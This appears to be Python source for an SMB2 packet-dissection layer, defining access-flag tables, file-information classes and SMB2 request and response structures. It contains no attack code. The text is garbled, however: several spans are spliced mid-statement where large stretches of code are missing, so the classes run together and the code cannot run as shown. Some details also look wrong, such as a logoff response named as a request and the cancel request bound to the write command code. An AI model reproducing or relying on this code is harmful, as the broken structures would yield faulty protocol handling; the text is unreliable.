[MS-SMB2] 2.2.13.1.1 SMB2_ACCESS_FLAGS_FILE = { 0x00000001: "FILE_READ_DATA", 0x00000002: "FILE_WRITE_DATA", 0x00000004: "FILE_APPEND_DATA", 0x00000008: "FILE_READ_EA", 0x00000010: "FILE_WRITE_EA", 0x00000040: "FILE_DELETE_CHILD", 0x00000020: "FILE_EXECUTE", 0x00000080: "FILE_READ_ATTRIBUTES", 0x00000100: "FILE_WRITE_ATTRIBUTES", 0x00010000: "DELETE", 0x00020000: "READ_CONTROL", 0x00040000: "WRITE_DAC", 0x00080000: "WRITE_OWNER", 0x00100000: "SYNCHRONIZE", 0x01000000: "ACCESS_SYSTEM_SECURITY", 0x02000000: "MAXIMUM_ALLOWED", 0x10000000: "GENERIC_ALL", 0x20000000: "GENERIC_EXECUTE", 0x40000000: "GENERIC_WRITE", 0x80000000: "GENERIC_READ", } # sect [MS-SMB2] 2.2.13.1.2 SMB2_ACCESS_FLAGS_DIRECTORY = { 0x00000001: "FILE_LIST_DIRECTORY", 0x00000002: "FILE_ADD_FILE", 0x00000004: "FILE_ADD_SUBDIRECTORY", 0x00000008: "FILE_READ_EA", 0x00000010: "FILE_WRITE_EA", 0x00000020: "FILE_TRAVERSE", 0x00000040: "FILE_DELETE_CHILD", 0x00000080: "FILE_READ_ATTRIBUTES", 0x00000100: "FILE_WRITE_ATTRIBUTES", 0x00010000: "DELETE", 0x00020000: "READ_CONTROL", 0x00040000: "WRITE_DAC", 0x00080000: "WRITE_OWNER", 0x00100000: "SYNCHRONIZE", 0x01000000: "ACCESS_SYSTEM_SECURITY", 0x02000000: "MAXIMUM_ALLOWED", 0x10000000: "GENERIC_ALL", 0x20000000: "GENERIC_EXECUTE", 0x40000000: "GENERIC_WRITE", 0x80000000: "GENERIC_READ", } # [MS-SRVS] sec 2.2.2.4 SRVSVC_SHARE_TYPES = { 0x00000000: "DISKTREE", 0x00000001: "PRINTQ", 0x00000002: "DEVICE", 0x00000003: "IPC", 0x02000000: "CLUSTER_FS", 0x04000000: "CLUSTER_SOFS", 0x08000000: "CLUSTER_DFS", } # [MS-FSCC] sec 2.6 FileAttributes = { 0x00000001: "FILE_ATTRIBUTE_READONLY", 0x00000002: "FILE_ATTRIBUTE_HIDDEN", 0x00000004: "FILE_ATTRIBUTE_SYSTEM", 0x00000010: "FILE_ATTRIBUTE_DIRECTORY", 0x00000020: "FILE_ATTRIBUTE_ARCHIVE", 0x00000080: "FILE_ATTRIBUTE_NORMAL", 0x00000100: "FILE_ATTRIBUTE_TEMPORARY", 0x00000200: "FILE_ATTRIBUTE_SPARSE_FILE", 0x00000400: "FILE_ATTRIBUTE_REPARSE_POINT", 0x00000800: "FILE_ATTRIBUTE_COMPRESSED", 0x00001000: "FILE_ATTRIBUTE_OFFLINE", 0x00002000: "FILE_ATTRIBUTE_NOT_CONTENT_INDEXED", 0x00004000: "FILE_ATTRIBUTE_ENCRYPTED", 0x00008000: "FILE_ATTRIBUTE_INTEGRITY_STREAM", 0x00020000: "FILE_ATTRIBUTE_NO_SCRUB_DATA", 0x00040000: "FILE_ATTRIBUTE_RECALL_ON_OPEN", 0x00080000: "FILE_ATTRIBUTE_PINNED", 0x00100000: "FILE_ATTRIBUTE_UNPINNED", 0x00400000: "FILE_ATTRIBUTE_RECALL_ON_DATA_ACCESS", } # [MS-FSCC] sect 2.4 FileInformationClasses = { 0x01: "FileDirectoryInformation", 0x02: "FileFullDirectoryInformation", 0x03: "FileBothDirectoryInformation", 0x04: "FileBasicInformation", 0x05: "FileStandardInformation", 0x06: "FileInternalInformation", 0x07: "FileEaInformation", 0x08: "FileAccessInformation", 0x0A: "FileRenameInformation", 0x0E: "FilePositionInformation", 0x10: "FileModeInformation", 0x11: "FileAlignmentInformation", 0x12: "FileAllInformation", 0x22: "FileNetworkOpenInformation", 0x25: "FileIdBothDirectoryInformation", 0x26: "FileIdFullDirectoryInformation", 0x0C: "FileNamesInformation", 0x30: "FileNormalizedNameInformation", 0x3C: "FileIdExtdDirectoryInformation", } _FileInformationClasses = {} # [MS-FSCC] 2.1.7 FILE_NAME_INFORMATION class FILE_NAME_INFORMATION(Packet): fields_desc = [ FieldLenField("FileNameLength", None, length_of="FileName", fmt=" 65535 / len(FILE_ID_BOTH_DIR_INFORMATION()) ), ] # [MS-FSCC] 2.4.22 FileInternalInformation class FileInternalInformation(Packet): fields_desc = [ LELongField("IndexNumber", 0), ] def default_payload_class(self, s): return conf.padding_layer # [MS-FSCC] 2.4.26 FileModeInformation class FileModeInformation(Packet): fields_desc = [ FlagsField( "Mode", 0, -32, { 0x00000002: "FILE_WRITE_TROUGH", 0x00000004: "FILE_SEQUENTIAL_ONLY", 0x00000008: "FILE_NO_INTERMEDIATE_BUFFERING", 0x00000010: "FILE_SYNCHRONOUS_IO_ALERT", 0x00000020: "FILE_SYNCHRONOUS_IO_NONALERT", 0x00001000: "FILE_DELETE_ON_CLOSE", }, ) ] def default_payload_class(self, s): return conf.padding_layer # [MS-FSCC] 2.4.35 FilePositionInformation class FilePositionInformation(Packet): fields_desc = [ LELongField("CurrentByteOffset", 0), ] def default_payload_class(self, s): return conf.padding_layer # [MS-FSCC] 2.4.37 FileRenameInformation class FileRenameInformation(Packet): fields_desc = [ YesNoByteField("ReplaceIfExists", False), XStrFixedLenField("Reserved", b"", length=7), LELongField("RootDirectory", 0), FieldLenField("FileNameLength", 0, length_of="FileName", fmt=" bytes if len(pkt) < 24: # 'Length of this field MUST be the number of bytes required to make the # size of this structure at least 24.' pkt += (24 - len(pkt)) * b"\x00" return pkt + pay def default_payload_class(self, s): return conf.padding_layer _FileInformationClasses[0x0A] = FileRenameInformation # [MS-FSCC] 2.4.41 FileStandardInformation class FileStandardInformation(Packet): fields_desc = [ LELongField("AllocationSize", 4096), LELongField("EndOfFile", 0), LEIntField("NumberOfLinks", 1), ByteField("DeletePending", 0), ByteField("Directory", 0), ShortField("Reserved", 0), ] def default_payload_class(self, s): return conf.padding_layer # [MS-FSCC] 2.4.43 FileStreamInformation class FileStreamInformation(Packet): fields_desc = [ LEIntField("Next", 0), FieldLenField("StreamNameLength", None, length_of="StreamName", fmt=" bytes return ( _SMB2_post_build( self, pkt, 24 + len(self.IPAddrMoveList) * 24, { "ResourceName": 8, }, ) + pay ) # sect 2.2.2.1 class SMB2_Error_ContextResponse(Packet): fields_desc = [ FieldLenField("ErrorDatalength", None, fmt=" bytes return ( _NTLM_post_build( self, pkt, 64 + 36 + len(self.Dialects) * 2, { "NegotiateContexts": 28, }, config=[ ("BufferOffset", _NTLM_ENUM.OFFSET | _NTLM_ENUM.PAD8), ("Count", _NTLM_ENUM.COUNT), ], ) + pay ) bind_top_down( SMB2_Header, SMB2_Negotiate_Protocol_Request, Command=0x0000, ) # sect 2.2.3.1.1 class SMB2_Preauth_Integrity_Capabilities(Packet): name = "SMB2 Preauth Integrity Capabilities" fields_desc = [ # According to the spec, this field value must be greater than 0 # (cf Section 2.2.3.1.1 of MS-SMB2.pdf) FieldLenField("HashAlgorithmCount", None, fmt=" bytes pkt = _NTLM_post_build( self, pkt, self.OFFSET, { "SecurityBlob": 56, "NegotiateContexts": 60, }, config=[ ( "BufferOffset", { "SecurityBlob": _NTLM_ENUM.OFFSET, "NegotiateContexts": _NTLM_ENUM.OFFSET | _NTLM_ENUM.PAD8, }, ), ], ) if getattr(self, "SecurityBlob", None): if self.SecurityBlobLen is None: pkt = pkt[:58] + struct.pack(" bytes return ( _SMB2_post_build( self, pkt, self.OFFSET, { "SecurityBlob": 12, }, ) + pay ) bind_top_down( SMB2_Header, SMB2_Session_Setup_Request, Command=0x0001, ) # sect 2.2.6 class SMB2_Session_Setup_Response(_SMB2_Payload, _NTLMPayloadPacket): name = "SMB2 Session Setup Response" Command = 0x0001 OFFSET = 8 + 64 _NTLM_PAYLOAD_FIELD_NAME = "Buffer" fields_desc = [ XLEShortField("StructureSize", 0x9), FlagsField( "SessionFlags", 0, -16, { 0x0001: "IS_GUEST", 0x0002: "IS_NULL", 0x0004: "ENCRYPT_DATA", }, ), XLEShortField("SecurityBufferOffset", None), LEShortField("SecurityLen", None), _NTLMPayloadField( "Buffer", OFFSET, [ PacketField("Security", None, GSSAPI_BLOB), ], ), ] def __getattr__(self, attr): # Ease SMB1 backward compatibility if attr == "SecurityBlob": return ( super(SMB2_Session_Setup_Response, self).__getattr__("Buffer") or [(None, None)] )[0][1] return super(SMB2_Session_Setup_Response, self).__getattr__(attr) def setfieldval(self, attr, val): if attr == "SecurityBlob": return super(SMB2_Session_Setup_Response, self).setfieldval( "Buffer", [("Security", val)] ) return super(SMB2_Session_Setup_Response, self).setfieldval(attr, val) def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes return ( _SMB2_post_build( self, pkt, self.OFFSET, { "Security": 4, }, ) + pay ) bind_top_down( SMB2_Header, SMB2_Session_Setup_Response, Command=0x0001, Flags=1, # SMB2_FLAGS_SERVER_TO_REDIR ) # sect 2.2.7 class SMB2_Session_Logoff_Request(_SMB2_Payload): name = "SMB2 LOGOFF Request" Command = 0x0002 fields_desc = [ XLEShortField("StructureSize", 0x4), ShortField("reserved", 0), ] bind_top_down( SMB2_Header, SMB2_Session_Logoff_Request, Command=0x0002, ) # sect 2.2.8 class SMB2_Session_Logoff_Response(_SMB2_Payload): name = "SMB2 LOGOFF Request" Command = 0x0002 fields_desc = [ XLEShortField("StructureSize", 0x4), ShortField("reserved", 0), ] bind_top_down( SMB2_Header, SMB2_Session_Logoff_Response, Command=0x0002, Flags=1, # SMB2_FLAGS_SERVER_TO_REDIR ) # sect 2.2.9 class SMB2_Tree_Connect_Request(_SMB2_Payload, _NTLMPayloadPacket): name = "SMB2 TREE_CONNECT Request" Command = 0x0003 OFFSET = 8 + 64 _NTLM_PAYLOAD_FIELD_NAME = "Buffer" fields_desc = [ XLEShortField("StructureSize", 0x9), FlagsField( "Flags", 0, -16, ["CLUSTER_RECONNECT", "REDIRECT_TO_OWNER", "EXTENSION_PRESENT"], ), XLEShortField("PathBufferOffset", None), LEShortField("PathLen", None), _NTLMPayloadField( "Buffer", OFFSET, [ StrFieldUtf16("Path", b""), ], ), ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes return ( _SMB2_post_build( self, pkt, self.OFFSET, { "Path": 4, }, ) + pay ) bind_top_down( SMB2_Header, SMB2_Tree_Connect_Request, Command=0x0003, ) # sect 2.2.10 class SMB2_Tree_Connect_Response(_SMB2_Payload): name = "SMB2 TREE_CONNECT Response" Command = 0x0003 fields_desc = [ XLEShortField("StructureSize", 0x10), ByteEnumField("ShareType", 0, {0x01: "DISK", 0x02: "PIPE", 0x03: "PRINT"}), ByteField("Reserved", 0), FlagsField( "ShareFlags", 0x30, -32, { 0x00000010: "AUTO_CACHING", 0x00000020: "VDO_CACHING", 0x00000030: "NO_CACHING", 0x00000001: "DFS", 0x00000002: "DFS_ROOT", 0x00000100: "RESTRICT_EXCLUSIVE_OPENS", 0x00000200: "FORCE_SHARED_DELETE", 0x00000400: "ALLOW_NAMESPACE_CACHING", 0x00000800: "ACCESS_BASED_DIRECTORY_ENUM", 0x00001000: "FORCE_LEVELII_OPLOCK", 0x00002000: "ENABLE_HASH_V1", 0x00004000: "ENABLE_HASH_V2", 0x00008000: "ENCRYPT_DATA", 0x00040000: "IDENTITY_REMOTING", 0x00100000: "COMPRESS_DATA", }, ), FlagsField( "Capabilities", 0, -32, { 0x00000008: "DFS", 0x00000010: "CONTINUOUS_AVAILABILITY", 0x00000020: "SCALEOUT", 0x00000040: "CLUSTER", 0x00000080: "ASYMMETRIC", 0x00000100: "REDIRECT_TO_OWNER", }, ), FlagsField("MaximalAccess", 0, -32, SMB2_ACCESS_FLAGS_FILE), ] bind_top_down(SMB2_Header, SMB2_Tree_Connect_Response, Command=0x0003, Flags=1) # sect 2.2.11 class SMB2_Tree_Disconnect_Request(_SMB2_Payload): name = "SMB2 TREE_DISCONNECT Request" Command = 0x0004 fields_desc = [ XLEShortField("StructureSize", 0x4), XLEShortField("Reserved", 0), ] bind_top_down(SMB2_Header, SMB2_Tree_Disconnect_Request, Command=0x0004) # sect 2.2.12 class SMB2_Tree_Disconnect_Response(_SMB2_Payload): name = "SMB2 TREE_DISCONNECT Response" Command = 0x0004 fields_desc = [ XLEShortField("StructureSize", 0x4), XLEShortField("Reserved", 0), ] bind_top_down(SMB2_Header, SMB2_Tree_Disconnect_Response, Command=0x0004, Flags=1) # sect 2.2.14.1 class SMB2_FILEID(Packet): fields_desc = [XLELongField("Persistent", 0), XLELongField("Volatile", 0)] def __hash__(self): return self.Persistent + self.Volatile << 64 def default_payload_class(self, payload): return conf.padding_layer # sect 2.2.14.2 class SMB2_CREATE_DURABLE_HANDLE_RESPONSE(Packet): fields_desc = [ XStrFixedLenField("Reserved", b"\x00" * 8, length=8), ] class SMB2_CREATE_QUERY_MAXIMAL_ACCESS_RESPONSE(Packet): fields_desc = [ LEIntEnumField("QueryStatus", 0, STATUS_ERREF), FlagsField("MaximalAccess", 0, -32, SMB2_ACCESS_FLAGS_FILE), ] class SMB2_CREATE_QUERY_ON_DISK_ID(Packet): fields_desc = [ XLELongField("DiskFileId", 0), XLELongField("VolumeId", 0), XStrFixedLenField("Reserved", b"", length=16), ] class SMB2_CREATE_RESPONSE_LEASE(Packet): fields_desc = [ UUIDField("LeaseKey", None), FlagsField( "LeaseState", 0x7, -32, { 0x01: "SMB2_LEASE_READ_CACHING", 0x02: "SMB2_LEASE_HANDLE_CACHING", 0x04: "SMB2_LEASE_WRITE_CACHING", }, ), FlagsField( "LeaseFlags", 0, -32, { 0x02: "SMB2_LEASE_FLAG_BREAK_IN_PROGRESS", 0x04: "SMB2_LEASE_FLAG_PARENT_LEASE_KEY_SET", }, ), LELongField("LeaseDuration", 0), ] class SMB2_CREATE_RESPONSE_LEASE_V2(Packet): fields_desc = [ SMB2_CREATE_RESPONSE_LEASE, UUIDField("ParentLeaseKey", None), LEShortField("Epoch", 0), LEShortField("Reserved", 0), ] class SMB2_CREATE_DURABLE_HANDLE_RESPONSE_V2(Packet): fields_desc = [ LEIntField("Timeout", 0), FlagsField( "Flags", 0, -32, { 0x02: "SMB2_DHANDLE_FLAG_PERSISTENT", }, ), ] # sect 2.2.13 class SMB2_CREATE_DURABLE_HANDLE_REQUEST(Packet): fields_desc = [ XStrFixedLenField("DurableRequest", b"", length=16), ] class SMB2_CREATE_DURABLE_HANDLE_RECONNECT(Packet): fields_desc = [ PacketField("Data", SMB2_FILEID(), SMB2_FILEID), ] class SMB2_CREATE_QUERY_MAXIMAL_ACCESS_REQUEST(Packet): fields_desc = [ LELongField("Timestamp", 0), ] class SMB2_CREATE_ALLOCATION_SIZE(Packet): fields_desc = [ LELongField("AllocationSize", 0), ] class SMB2_CREATE_TIMEWARP_TOKEN(Packet): fields_desc = [ LELongField("Timestamp", 0), ] class SMB2_CREATE_REQUEST_LEASE(Packet): fields_desc = [ SMB2_CREATE_RESPONSE_LEASE, ] class SMB2_CREATE_REQUEST_LEASE_V2(Packet): fields_desc = [ SMB2_CREATE_RESPONSE_LEASE_V2, ] class SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2(Packet): fields_desc = [ SMB2_CREATE_DURABLE_HANDLE_RESPONSE_V2, XStrFixedLenField("Reserved", b"", length=8), UUIDField("CreateGuid", 0x0, uuid_fmt=UUIDField.FORMAT_LE), ] class SMB2_CREATE_DURABLE_HANDLE_RECONNECT_V2(Packet): fields_desc = [ PacketField("FileId", SMB2_FILEID(), SMB2_FILEID), UUIDField("CreateGuid", 0x0, uuid_fmt=UUIDField.FORMAT_LE), FlagsField( "Flags", 0, -32, { 0x02: "SMB2_DHANDLE_FLAG_PERSISTENT", }, ), ] class SMB2_CREATE_APP_INSTANCE_ID(Packet): fields_desc = [ XLEShortField("StructureSize", 0x14), LEShortField("Reserved", 0), XStrFixedLenField("AppInstanceId", b"", length=16), ] class SMB2_CREATE_APP_INSTANCE_VERSION(Packet): fields_desc = [ XLEShortField("StructureSize", 0x18), LEShortField("Reserved", 0), LEIntField("Padding", 0), LELongField("AppInstanceVersionHigh", 0), LELongField("AppInstanceVersionLow", 0), ] class SMB2_Create_Context(_NTLMPayloadPacket): name = "SMB2 CREATE CONTEXT" OFFSET = 16 _NTLM_PAYLOAD_FIELD_NAME = "Buffer" fields_desc = [ LEIntField("Next", None), XLEShortField("NameBufferOffset", None), LEShortField("NameLen", None), ShortField("Reserved", 0), XLEShortField("DataBufferOffset", None), LEIntField("DataLen", None), _NTLMPayloadField( "Buffer", OFFSET, [ PadField( StrLenField("Name", b"", length_from=lambda pkt: pkt.NameLen), 8, ), # Must be padded on 8-octet alignment PacketLenField( "Data", None, conf.raw_layer, length_from=lambda pkt: pkt.DataLen ), ], force_order=["Name", "Data"], ), StrLenField( "pad", b"", length_from=lambda x: ( ( x.Next - max( x.DataBufferOffset + x.DataLen, x.NameBufferOffset + x.NameLen ) ) if x.Next else 0 ), ), ] def post_dissect(self, s): if not self.DataLen: return s try: if isinstance(self.parent, SMB2_Create_Request): data_cls = { b"DHnQ": SMB2_CREATE_DURABLE_HANDLE_REQUEST, b"DHnC": SMB2_CREATE_DURABLE_HANDLE_RECONNECT, b"AISi": SMB2_CREATE_ALLOCATION_SIZE, b"MxAc": SMB2_CREATE_QUERY_MAXIMAL_ACCESS_REQUEST, b"TWrp": SMB2_CREATE_TIMEWARP_TOKEN, b"QFid": SMB2_CREATE_QUERY_ON_DISK_ID, b"RqLs": SMB2_CREATE_REQUEST_LEASE, b"DH2Q": SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2, b"DH2C": SMB2_CREATE_DURABLE_HANDLE_RECONNECT_V2, # 3.1.1 only b"E\xbc\xa6j\xef\xa7\xf7J\x90\x08\xfaF.\x14Mt": SMB2_CREATE_APP_INSTANCE_ID, # noqa: E501 b"\xb9\x82\xd0\xb7;V\x07O\xa0{RJ\x81\x16\xa0\x10": SMB2_CREATE_APP_INSTANCE_VERSION, # noqa: E501 }[self.Name] if self.Name == b"RqLs" and self.DataLen > 32: data_cls = SMB2_CREATE_REQUEST_LEASE_V2 elif isinstance(self.parent, SMB2_Create_Response): data_cls = { b"DHnQ": SMB2_CREATE_DURABLE_HANDLE_RESPONSE, b"MxAc": SMB2_CREATE_QUERY_MAXIMAL_ACCESS_RESPONSE, b"QFid": SMB2_CREATE_QUERY_ON_DISK_ID, b"RqLs": SMB2_CREATE_RESPONSE_LEASE, b"DH2Q": SMB2_CREATE_DURABLE_HANDLE_RESPONSE_V2, }[self.Name] if self.Name == b"RqLs" and self.DataLen > 32: data_cls = SMB2_CREATE_RESPONSE_LEASE_V2 else: return s except KeyError: return s self.Data = data_cls(self.Data.load) return s def default_payload_class(self, _): return conf.padding_layer def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes return ( _NTLM_post_build( self, pkt, self.OFFSET, { "Name": 4, "Data": 10, }, config=[ ( "BufferOffset", { "Name": _NTLM_ENUM.OFFSET, "Data": _NTLM_ENUM.OFFSET | _NTLM_ENUM.PAD8, }, ), ("Len", _NTLM_ENUM.LEN), ], ) + pay ) # sect 2.2.13 SMB2_OPLOCK_LEVELS = { 0x00: "SMB2_OPLOCK_LEVEL_NONE", 0x01: "SMB2_OPLOCK_LEVEL_II", 0x08: "SMB2_OPLOCK_LEVEL_EXCLUSIVE", 0x09: "SMB2_OPLOCK_LEVEL_BATCH", 0xFF: "SMB2_OPLOCK_LEVEL_LEASE", } class SMB2_Create_Request(_SMB2_Payload, _NTLMPayloadPacket): name = "SMB2 CREATE Request" Command = 0x0005 OFFSET = 56 + 64 _NTLM_PAYLOAD_FIELD_NAME = "Buffer" fields_desc = [ XLEShortField("StructureSize", 0x39), ByteField("ShareType", 0), ByteEnumField("RequestedOplockLevel", 0, SMB2_OPLOCK_LEVELS), LEIntEnumField( "ImpersonationLevel", 0, { 0x00000000: "Anonymous", 0x00000001: "Identification", 0x00000002: "Impersonation", 0x00000003: "Delegate", }, ), LELongField("SmbCreateFlags", 0), LELongField("Reserved", 0), FlagsField("DesiredAccess", 0, -32, SMB2_ACCESS_FLAGS_FILE), FlagsField("FileAttributes", 0x00000080, -32, FileAttributes), FlagsField( "ShareAccess", 0, -32, { 0x00000001: "FILE_SHARE_READ", 0x00000002: "FILE_SHARE_WRITE", 0x00000004: "FILE_SHARE_DELETE", }, ), LEIntEnumField( "CreateDisposition", 1, { 0x00000000: "FILE_SUPERSEDE", 0x00000001: "FILE_OPEN", 0x00000002: "FILE_CREATE", 0x00000003: "FILE_OPEN_IF", 0x00000004: "FILE_OVERWRITE", 0x00000005: "FILE_OVERWRITE_IF", }, ), FlagsField( "CreateOptions", 0, -32, { 0x00000001: "FILE_DIRECTORY_FILE", 0x00000002: "FILE_WRITE_THROUGH", 0x00000004: "FILE_SEQUENTIAL_ONLY", 0x00000008: "FILE_NO_INTERMEDIATE_BUFFERING", 0x00000010: "FILE_SYNCHRONOUS_IO_ALERT", 0x00000020: "FILE_SYNCHRONOUS_IO_NONALERT", 0x00000040: "FILE_NON_DIRECTORY_FILE", 0x00000100: "FILE_COMPLETE_IF_OPLOCKED", 0x00000200: "FILE_RANDOM_ACCESS", 0x00001000: "FILE_DELETE_ON_CLOSE", 0x00002000: "FILE_OPEN_BY_FILE_ID", 0x00004000: "FILE_OPEN_FOR_BACKUP_INTENT", 0x00008000: "FILE_NO_COMPRESSION", 0x00000400: "FILE_OPEN_REMOTE_INSTANCE", 0x00010000: "FILE_OPEN_REQUIRING_OPLOCK", 0x00020000: "FILE_DISALLOW_EXCLUSIVE", 0x00100000: "FILE_RESERVE_OPFILTER", 0x00200000: "FILE_OPEN_REPARSE_POINT", 0x00400000: "FILE_OPEN_NO_RECALL", 0x00800000: "FILE_OPEN_FOR_FREE_SPACE_QUERY", }, ), XLEShortField("NameBufferOffset", None), LEShortField("NameLen", None), XLEIntField("CreateContextsBufferOffset", None), LEIntField("CreateContextsLen", None), _NTLMPayloadField( "Buffer", OFFSET, [ StrFieldUtf16("Name", b""), _NextPacketListField( "CreateContexts", [], SMB2_Create_Context, length_from=lambda pkt: pkt.CreateContextsLen, ), ], ), ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes if len(pkt) == 0x38: # 'In the request, the Buffer field MUST be at least one byte in length.' pkt += b"\x00" return ( _SMB2_post_build( self, pkt, self.OFFSET, { "Name": 44, "CreateContexts": 48, }, ) + pay ) bind_top_down(SMB2_Header, SMB2_Create_Request, Command=0x0005) # sect 2.2.14 class SMB2_Create_Response(_SMB2_Payload, _NTLMPayloadPacket): name = "SMB2 CREATE Response" Command = 0x0005 OFFSET = 88 + 64 _NTLM_PAYLOAD_FIELD_NAME = "Buffer" fields_desc = [ XLEShortField("StructureSize", 0x59), ByteEnumField("OplockLevel", 0, SMB2_OPLOCK_LEVELS), FlagsField("Flags", 0, -8, {0x01: "SMB2_CREATE_FLAG_REPARSEPOINT"}), LEIntEnumField( "CreateAction", 1, { 0x00000000: "FILE_SUPERSEDED", 0x00000001: "FILE_OPENED", 0x00000002: "FILE_CREATED", 0x00000003: "FILE_OVERWRITEN", }, ), FileNetworkOpenInformation, PacketField("FileId", SMB2_FILEID(), SMB2_FILEID), XLEIntField("CreateContextsBufferOffset", None), LEIntField("CreateContextsLen", None), _NTLMPayloadField( "Buffer", OFFSET, [ _NextPacketListField( "CreateContexts", [], SMB2_Create_Context, length_from=lambda pkt: pkt.CreateContextsLen, ), ], ), ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes return ( _SMB2_post_build( self, pkt, self.OFFSET, { "CreateContexts": 80, }, ) + pay ) bind_top_down(SMB2_Header, SMB2_Create_Response, Command=0x0005, Flags=1) # sect 2.2.15 class SMB2_Close_Request(_SMB2_Payload): name = "SMB2 CLOSE Request" Command = 0x0006 fields_desc = [ XLEShortField("StructureSize", 0x18), FlagsField("Flags", 0, -16, ["SMB2_CLOSE_FLAG_POSTQUERY_ATTRIB"]), LEIntField("Reserved", 0), PacketField("FileId", SMB2_FILEID(), SMB2_FILEID), ] bind_top_down( SMB2_Header, SMB2_Close_Request, Command=0x0006, ) # sect 2.2.16 class SMB2_Close_Response(_SMB2_Payload): name = "SMB2 CLOSE Response" Command = 0x0006 FileAttributes = 0 CreationTime = 0 LastAccessTime = 0 LastWriteTime = 0 ChangeTime = 0 fields_desc = [ XLEShortField("StructureSize", 0x3C), FlagsField("Flags", 0, -16, ["SMB2_CLOSE_FLAG_POSTQUERY_ATTRIB"]), LEIntField("Reserved", 0), ] + FileNetworkOpenInformation.fields_desc[:7] bind_top_down( SMB2_Header, SMB2_Close_Response, Command=0x0006, Flags=1, ) # sect 2.2.19 class SMB2_Read_Request(_SMB2_Payload, _NTLMPayloadPacket): name = "SMB2 READ Request" Command = 0x0008 OFFSET = 48 + 64 _NTLM_PAYLOAD_FIELD_NAME = "Buffer" fields_desc = [ XLEShortField("StructureSize", 0x31), ByteField("Padding", 0x00), FlagsField( "Flags", 0, -8, { 0x01: "SMB2_READFLAG_READ_UNBUFFERED", 0x02: "SMB2_READFLAG_REQUEST_COMPRESSED", }, ), LEIntField("Length", 4280), LELongField("Offset", 0), PacketField("FileId", SMB2_FILEID(), SMB2_FILEID), LEIntField("MinimumCount", 0), LEIntEnumField( "Channel", 0, { 0x00000000: "SMB2_CHANNEL_NONE", 0x00000001: "SMB2_CHANNEL_RDMA_V1", 0x00000002: "SMB2_CHANNEL_RDMA_V1_INVALIDATE", 0x00000003: "SMB2_CHANNEL_RDMA_TRANSFORM", }, ), LEIntField("RemainingBytes", 0), LEShortField("ReadChannelInfoBufferOffset", None), LEShortField("ReadChannelInfoLen", None), _NTLMPayloadField( "Buffer", OFFSET, [ StrLenField( "ReadChannelInfo", b"", length_from=lambda pkt: pkt.ReadChannelInfoLen, ) ], ), ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes if len(pkt) == 0x30: # 'The first byte of the Buffer field MUST be set to 0.' pkt += b"\x00" return ( _SMB2_post_build( self, pkt, self.OFFSET, { "ReadChannelInfo": 44, }, ) + pay ) bind_top_down( SMB2_Header, SMB2_Read_Request, Command=0x0008, ) # sect 2.2.20 class SMB2_Read_Response(_SMB2_Payload, _NTLMPayloadPacket): name = "SMB2 READ Response" Command = 0x0008 OFFSET = 16 + 64 _NTLM_PAYLOAD_FIELD_NAME = "Buffer" fields_desc = [ XLEShortField("StructureSize", 0x11), LEShortField("DataBufferOffset", None), LEIntField("DataLen", None), LEIntField("DataRemaining", 0), FlagsField( "Flags", 0, -32, { 0x01: "SMB2_READFLAG_RESPONSE_RDMA_TRANSFORM", }, ), _NTLMPayloadField( "Buffer", OFFSET, [StrLenField("Data", b"", length_from=lambda pkt: pkt.DataLen)], ), ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes return ( _SMB2_post_build( self, pkt, self.OFFSET, { "Data": 2, }, ) + pay ) bind_top_down( SMB2_Header, SMB2_Read_Response, Command=0x0008, Flags=1, ) # sect 2.2.21 class SMB2_Write_Request(_SMB2_Payload, _NTLMPayloadPacket): name = "SMB2 WRITE Request" Command = 0x0009 OFFSET = 48 + 64 _NTLM_PAYLOAD_FIELD_NAME = "Buffer" fields_desc = [ XLEShortField("StructureSize", 0x31), LEShortField("DataBufferOffset", None), LEIntField("DataLen", None), LELongField("Offset", 0), PacketField("FileId", SMB2_FILEID(), SMB2_FILEID), LEIntEnumField( "Channel", 0, { 0x00000000: "SMB2_CHANNEL_NONE", 0x00000001: "SMB2_CHANNEL_RDMA_V1", 0x00000002: "SMB2_CHANNEL_RDMA_V1_INVALIDATE", 0x00000003: "SMB2_CHANNEL_RDMA_TRANSFORM", }, ), LEIntField("RemainingBytes", 0), LEShortField("WriteChannelInfoBufferOffset", None), LEShortField("WriteChannelInfoLen", None), FlagsField( "Flags", 0, -32, { 0x00000001: "SMB2_WRITEFLAG_WRITE_THROUGH", 0x00000002: "SMB2_WRITEFLAG_WRITE_UNBUFFERED", }, ), _NTLMPayloadField( "Buffer", OFFSET, [ StrLenField("Data", b"", length_from=lambda pkt: pkt.DataLen), StrLenField( "WriteChannelInfo", b"", length_from=lambda pkt: pkt.WriteChannelInfoLen, ), ], ), ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes return ( _SMB2_post_build( self, pkt, self.OFFSET, { "Data": 2, "WriteChannelInfo": 40, }, ) + pay ) bind_top_down( SMB2_Header, SMB2_Write_Request, Command=0x0009, ) # sect 2.2.22 class SMB2_Write_Response(_SMB2_Payload): name = "SMB2 WRITE Response" Command = 0x0009 fields_desc = [ XLEShortField("StructureSize", 0x11), LEShortField("Reserved", 0), LEIntField("Count", 0), LEIntField("Remaining", 0), LEShortField("WriteChannelInfoBufferOffset", 0), LEShortField("WriteChannelInfoLen", 0), ] bind_top_down(SMB2_Header, SMB2_Write_Response, Command=0x0009, Flags=1) # sect 2.2.28 class SMB2_Echo_Request(_SMB2_Payload): name = "SMB2 ECHO Request" Command = 0x000D fields_desc = [ XLEShortField("StructureSize", 0x4), LEShortField("Reserved", 0), ] bind_top_down( SMB2_Header, SMB2_Echo_Request, Command=0x000D, ) # sect 2.2.29 class SMB2_Echo_Response(_SMB2_Payload): name = "SMB2 ECHO Response" Command = 0x000D fields_desc = [ XLEShortField("StructureSize", 0x4), LEShortField("Reserved", 0), ] bind_top_down( SMB2_Header, SMB2_Echo_Response, Command=0x000D, Flags=1, # SMB2_FLAGS_SERVER_TO_REDIR ) # sect 2.2.30 class SMB2_Cancel_Request(_SMB2_Payload): name = "SMB2 CANCEL Request" fields_desc = [ XLEShortField("StructureSize", 0x4), LEShortField("Reserved", 0), ] bind_top_down( SMB2_Header, SMB2_Cancel_Request, Command=0x0009, ) # sect 